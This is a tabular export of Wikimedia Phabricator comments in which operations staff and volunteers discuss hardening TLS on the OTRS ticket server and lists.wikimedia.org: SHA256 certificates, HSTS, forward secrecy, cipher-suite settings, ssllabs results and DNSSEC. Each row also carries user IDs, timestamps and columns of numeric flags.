+",,,1436381174,,PHID-USER-4nukugv22wnc3p6k557t,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,3,False,,,0,True,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1
+488593,SSL-config of the OTRS is outdated,">>! In T91504#1437397, @DaBPunkt wrote:
+>>>! In T91504#1435161, @BBlack wrote:
+>> DNSSEC and DANE are not things we currently do.
+> 
+> The question is: Why? A non-public-system like the OTRS is the ideal enviroment to test such (for the WMF) new technologies. The OTRS has its own sub-domain under wikimedia.org, so a DNSSEC-entry is a peace of cake and can not interrupt Wikipedia and co. Just run “zonesigner” on the zone-file and add the DS-hash at your domain-hoster – that’s not 1h of work, even if you never did it before.  I’m willing to provide assistance.
+
+We don't have a ""domain hoster"", we do this all ourselves in the Operations team.  My reluctance isn't for lack of understanding how DNSSEC works, there are just a lot of other complex issues to deal with before we can look at it here (not the least of which is the reflection problems and other general design issues), and integrating DNSSEC support into the DNS server software we're using (which, full disclosure, is one I wrote before I started working here: https://github.com/gdnsd/gdnsd ) is non-trivial as well, which we value for its other properties related to geographic loadbalancing and such.  There's a separate and somewhat-stale ticket about it here: https://phabricator.wikimedia.org/T26413 .  Pragmatically speaking, I don't expect much movement on this until at least ""sometime later this year"".",,,1436361796,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,3,True,,,0,True,1,0,0,0,1,1,1,0,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,0,1,1,1,0,1,0,0,1,1,1,1,1,0,1,0,0,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1
+488578,SSL-config of the OTRS is outdated,">>! In T91504#1435161, @BBlack wrote:
+> DNSSEC and DANE are not things we currently do.
+
+The question is: Why? A non-public-system like the OTRS is the ideal enviroment to test such (for the WMF) new technologies. The OTRS has its own sub-domain under wikimedia.org, so a DNSSEC-entry is a peace of cake and can not interrupt Wikipedia and co. Just run “zonesigner” on the zone-file and add the DS-hash at your domain-hoster – that’s not 1h of work, even if you never did it before.  I’m willing to provide assistance.
+
+",,,1436359136,,PHID-USER-4nukugv22wnc3p6k557t,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,0,0,0,1
+488177,SSL-config of the OTRS is outdated,"Actually that's not an accurate statement at all.  The Apache2.2 on precise can't really do PFS at all in our configs :/  Still, upgrade to Jessie!",,,1436289832,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,3,True,,,0,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,1,1,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+488175,SSL-config of the OTRS is outdated,"And the server is currently configured to do PFS with reasonably-modern clients.  It can't support PFS with some older/crappier clients until the machine is upgraded to Jessie, basically.",,,1436289566,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,3,True,,,0,True,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,0
+488171,SSL-config of the OTRS is outdated,DNSSEC and DANE are not things we currently do.,,,1436289463,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,3,True,,,0,True,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0
+488162,SSL-config of the OTRS is outdated,"I've completed the SHA256 update.
+
+I'm not entirely certain what remains, but seems to be:
+
+- No PFS
+-config DNSSEC for that domain too (and if you REALLY in the mood: DANE too).",,,1436289293,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,3,True,,,0,True,0,0,1,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+488151,SSL-config of the OTRS is outdated,"Change 221161 merged by RobH:
+updating ticket.wikimedia.org cert with sha256
+
+[[https://gerrit.wikimedia.org/r/221161]]",,,1436288636,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+485877,SSL-config of the OTRS is outdated,"So I think I should be able to simply roll the above certificate replacement into place with minimal downtime.  I'll run through said plan on this task for peer review.
+
+OTRS is defined in manifests/role/otrs.pp and templates/apache/sites/ticket.wikimedia.org.erb.  The update should be as simple as pushing in said change, and running puppet on iodine.  The puppet run should replace the certificate file, (possibly) regenerate the chain file, and refresh/restart apache.
+
+If the chain file isn't recreated automatically, it can then be manually deleted and puppet re-run to create the file.
+
+Unfortunately, this process could result in certificate errors during the window.  Since OTRS is high visibility to a significant volunteer base, this should be scheduled via the deployment calendar and email notification sent to the OTRS folks.
+
+I'll create a task for the roadmap planning of next week's maintenance/deployment calendar.",,,1435871032,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,3,True,,,0,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+482612,SSL-config of the OTRS is outdated,"Change 221161 had a related patch set uploaded (by RobH):
+updating ticket.wikimedia.org cert with sha256
+
+[[https://gerrit.wikimedia.org/r/221161]]
+",,,1435341877,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,2,False,,,-1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+477536,SSL-config of the OTRS is outdated,@RobH any updates on this?,,,1434656238,,PHID-USER-fwlidikyeorzj35hufwu,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,2,False,,,-2,True,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1
+469336,SSL-config of the OTRS is outdated,@RobH unlike all other replaced certs i don't see this one in Gerrit yet. Could you get that too?,,,1433451528,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,1,True,,,-4,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0
+469315,SSL-config of the OTRS is outdated,"could this ticket be split into more specific ToDos?
+
+No PFS, weak key-options and the MAC of the certificate still use SHA1 
+and
+config DNSSEC for that domain too (and if you REALLY in the mood: DANE too).
+
+are all kind of separate ",,,1433450018,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,1,True,,,-4,True,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,1,0,0
+436034,SSL-config of the OTRS is outdated,"> No, it's not behind misc-web. OTRS is standalone on iodine. Maybe @JGreen can comment if it's feasible to move it.
+
+I'm not that familiar with misc-web, but moving OTRS behind a reverse proxy would take some testing. I know it does session tracking using both client IP and cookies, this is already problematic with clients that change IP or IPv4/IPv6 dynamically. So we'll need to make sure OTRS is sane about XFF and similar headers.",,,1427827971,,PHID-USER-cwqdddnpyui7ysn4xsuw,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,1,True,,,-14,True,1,0,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0
+436004,SSL-config of the OTRS is outdated,">>! In T91504#1147772, @Chmarkine wrote:
+>  recall @Dzahn said that OTRS would be behind misc-web. If so, then both the cipher suite and certificate issues will be gone.
+
+No, it's not behind misc-web. OTRS is standalone on iodine. Maybe @JGreen can comment if it's feasible to move it.",,,1427825767,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,1,True,,,-14,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,1
+432140,SSL-config of the OTRS is outdated,">>! In T91504#1140486, @DaBPunkt wrote:
+> 
+> Sure it does, but the webserver for our OTRS doesn’t use it. HSTS is a nice idea, yes
+
+>>! In T91504#1147758, @Dzahn wrote:
+> either this is not actually used or the same problems apply to a couple services using the same settings and could be solved globally in ssl_ciphersuite.  HSTS should be enabled as well (the '365' part of it).  The "" MAC of the certificate still use SHA1"" should be part of T73156 and is a bit different because it requires new certs, not just changing config.
+
+Are there any problems in the settings? PFS is not supported here since Apache 2.2 doesn't support ECDHE cipher suites. I recall @Dzahn said that OTRS would be behind misc-web. If so, then both the cipher suite and certificate issues will be gone.
+
+",,,1427262716,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,1,True,,,-15,True,1,0,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,0,1,1,0,1,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,1,1,0,0,1,0,1,0,0,1
+432137,SSL-config of the OTRS is outdated,"    'compat' => 'ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECD    HE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-SHA256    :ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-R    SA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AE    S256-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128:AES256:HIGH:!aNULL:!eNULL:    !EXPORT:!DES:!MD5:!PSK:!DH',
+",,,1427262146,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,1,True,,,-15,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1
+432136,SSL-config of the OTRS is outdated,"manifests/role/otrs.pp already uses:
+
+$ssl_settings = ssl_ciphersuite('apache-2.2', 'compat', '365')
+
+either this is not actually used or the same problems apply to a couple services using the same settings and could be solved globally in ssl_ciphersuite.  HSTS should be enabled as well (the '365' part of it).  The "" MAC of the certificate still use SHA1"" should be part of T73156 and is a bit different because it requires new certs, not just changing config.",,,1427261617,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,1,True,,,-15,True,0,0,0,1,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+430915,SSL-config of the OTRS is outdated,"Change 198714 abandoned by Matanya:
+otrs: Enable strict transport security
+
+Reason:
+dup
+
+[[https://gerrit.wikimedia.org/r/198714]]",,,1427125701,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,1,False,,,-15,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+430865,SSL-config of the OTRS is outdated,">>! In T91504#1140476, @Matanya wrote:
+> SSL config supports PFS
+
+Sure it does, but the webserver for our OTRS doesn’t use it. HSTS is a nice idea, yes
+
+",,,1427119472,,PHID-USER-4nukugv22wnc3p6k557t,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,1,False,,,-15,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,1,0,0,1,1,1,0,0,1,1,0,0,1,0,0,0,0,1
+430861,SSL-config of the OTRS is outdated,"SSL config supports PFS, and the keys are ok. I pushed a patch for hsts, and the SHA1 will probably taker care of later. ",,,1427117980,,PHID-USER-u7udgblfyop6qd5wxot6,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,1,False,,,-15,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+430860,SSL-config of the OTRS is outdated,"Change 198714 had a related patch set uploaded (by Matanya):
+otrs: Enable strict transport security
+
+[[https://gerrit.wikimedia.org/r/198714]]
+",,,1427117375,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,1,False,,,-15,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+91226,Monitor for wikitech logins failing,"Monitor for logins to succeed. Any of keystone, wikitech, or ldap being down will cause this to fail.",Medium,50.0,1425271448,1727857756.0,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-USER-mqhfa5y5f5tg6g3b5hui,False,PHID-TASK-jh2tmcowssv2z3yi73pe,task_description,declined,True,c3,1,True,False,False,-18,True,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+2426638,Monitor for wikitech logins failing,The #Cloud-Services project tag is not intended to have any tasks. Please check the list on https://phabricator.wikimedia.org/project/profile/832/ and replace it with a more specific project tag to this task. Thanks!,,,1727857757,,PHID-APPS-PhabricatorHeraldApplication,False,,,PHID-TASK-jh2tmcowssv2z3yi73pe,task_subcomment,,True,c3,3,False,,,482,True,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,1,0,1,0,0,1,0,1
+2426637,Monitor for wikitech logins failing,Wikitech is less of a special case these days so I don't think that is needed,,,1727857756,,PHID-USER-mqhfa5y5f5tg6g3b5hui,False,,,PHID-TASK-jh2tmcowssv2z3yi73pe,task_subcomment,,True,c3,3,True,,,482,True,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0
+90351,Improve SSL of lists.wikimedia.org,"No PFS, old MAC (Sha1) and the ciphers could use an update too.",Medium,50.0,1424537952,1442597217.0,PHID-USER-4nukugv22wnc3p6k557t,False,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-TASK-3tmfmab5euy65kfc4wud,task_description,resolved,True,c3,1,False,False,True,-19,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0
+531776,Improve SSL of lists.wikimedia.org,"apparently this broke support for the ""listadmin"" script below, but i don't know if we can do much about it since the last update of that script seems to be 2007 and our cipher settings are rated as modern and don't exclude many clients: (https://www.ssllabs.com/ssltest/analyze.html?d=lists.wikimedia.org&latest  < mutante> clients we exclude: Java6, openssl 0.9.8, IE6/IE8 on XP)
+
+10:37 < marktraceur> http://www.freecode.com/projects/listadmin
+10:38 < marktraceur> ERROR: fetching https://lists.wikimedia.org/mailman/admindb/wikimedia-us-mn
+10:38 < marktraceur> ERROR: 500 SSL negotiation failed:  -- skipping list
+",,,1442857638,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-3tmfmab5euy65kfc4wud,task_subcomment,,True,c3,3,True,,,11,True,1,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,1,1,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1
+530405,Improve SSL of lists.wikimedia.org,"we are now rated Grade A+ by ssllabs
+
+https://www.ssllabs.com/ssltest/analyze.html?d=lists.wikimedia.org
+
+Forward Secrecy 	Yes (with most browsers)   ROBUST
+
+uses SHA256 instead of SHA1
+
+ciphers updated , now on Apache 2.4",,,1442597181,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-3tmfmab5euy65kfc4wud,task_subcomment,,True,c3,3,True,,,11,True,0,0,0,1,0,1,0,0,0,0,1,0,1,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,0
+516444,Improve SSL of lists.wikimedia.org,"what it will be soon on fermium with the ""mid"" setting:
+
+per ssllabs.com:
+
+Protocol Support: 95/100
+
+Secure Renegotiation 	Supported
+
+Downgrade attack prevention 	Yes, TLS_FALLBACK_SCSV supported -  This server supports TLS_FALLBACK_SCSV to prevent protocol downgrade attacks. 
+
+Forward Secrecy 	Yes (with most browsers)   ROBUST
+
+Strict Transport Security (HSTS) 	Yes   max-age=31536000 - This server supports HTTP Strict Transport Security with long duration. 
+
+Public Key Pinning (HPKP) 	No
+
+Issuer		RapidSSL SHA256 CA - G3
+
+who will not be able to connect anymore ( Protocol or cipher suite mismatch):
+Android 2.3.7
+IE 6 / XP
+IE 8 / XP
+Java 6u45
+OpenSSL 0.9.8y",,,1440746782,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-3tmfmab5euy65kfc4wud,task_subcomment,,True,c3,3,True,,,8,True,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,0,0,0,0,1,1
+515120,Improve SSL of lists.wikimedia.org,"Change 232420 merged by Dzahn:
+mailman: SSL settings to Apache 2.4 and ""mid""
+
+[[https://gerrit.wikimedia.org/r/232420]]",,,1440611729,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3tmfmab5euy65kfc4wud,task_subcomment,,True,c3,3,False,,,7,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+510809,Improve SSL of lists.wikimedia.org,"I think “mid” should be enough for this case.
+",,,1439983414,,PHID-USER-4nukugv22wnc3p6k557t,False,,,PHID-TASK-3tmfmab5euy65kfc4wud,task_subcomment,,True,c3,3,False,,,6,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+510626,Improve SSL of lists.wikimedia.org,"Change 232420 had a related patch set uploaded (by Dzahn):
+mailman: SSL settings to Apache 2.4 and ""mid""
+
+[[https://gerrit.wikimedia.org/r/232420]]
+",,,1439947589,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3tmfmab5euy65kfc4wud,task_subcomment,,True,c3,3,False,,,6,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+510623,Improve SSL of lists.wikimedia.org,"as to the ""compat"" part, after upgrading we will have 3 options, ""strong"", ""mid"" or keeping ""compat"". I'm pasting the comments from wmflib here:
+
+
+```
+ 17 #   - strong:     Only TLSv1.2 with PFS+AEAD ciphers.  In practice this is a
+ 18 #                 very short list, and requires a very modern client.  No
+ 19 #                 tradeoff is made for compatibility.  Known to work with:
+ 20 #                 New FF/Chrome, IE11, Java8, Android 4.4+, OpenSSL 1.0.x
+ 21 #                 Definitely broken with: All Safari (OSX/iOS).
+ 22 #                 IE11 support requires either DHE support or an ECDSA key.
+ 23 #   - mid:        Supports TLSv1.0 and higher, and adds several forward-secret
+ 24 #                 options which are not AEAD.  This is compatible with many
+ 25 #                 more clients than ""strong"".  With a DHE-capable server,
+ 26 #                 should only be incompatible with IE8/XP, ancient/un-updated
+ 27 #                 Java6, and some small corner cases like Nokia feature
+ 28 #                 phones.  With a non-DHE server, compatibility is also lost
+ 29 #                 with Android 2.x, OpenSSL 0.9.8, and more Java6 clients.
+ 30 #   - compat:     Supports most legacy clients, PFS optional but preferred.
+
+```
+
+I would say ""strong"" is out because it excludes too many clients for a very public service like lists. ""mid"" might be a reasonable choice, just no IE8 then. or we have to stay with ""compat""",,,1439947348,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-3tmfmab5euy65kfc4wud,task_subcomment,,True,c3,3,True,,,6,True,1,0,1,1,1,1,1,1,0,0,1,1,0,1,0,1,0,1,1,0,1,1,0,1,1,0,0,0,1,1,0,1,1,1,1,0,0,0,1,1,1,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,0
+510622,Improve SSL of lists.wikimedia.org,"Looking at the config now it already uses `<%= @ssl_settings.join(""\n"") %>` and `$ssl_settings = ssl_ciphersuite('apache-2.2', 'compat', '365')`
+
+That means the settings are taken from the global place, HSTS is enabled with 1 year expiry and the rest will be solved by switching to Apache 2.4.
+
+",,,1439947098,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-3tmfmab5euy65kfc4wud,task_subcomment,,True,c3,3,True,,,6,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,1,0,0,0,0,1,0,0,1
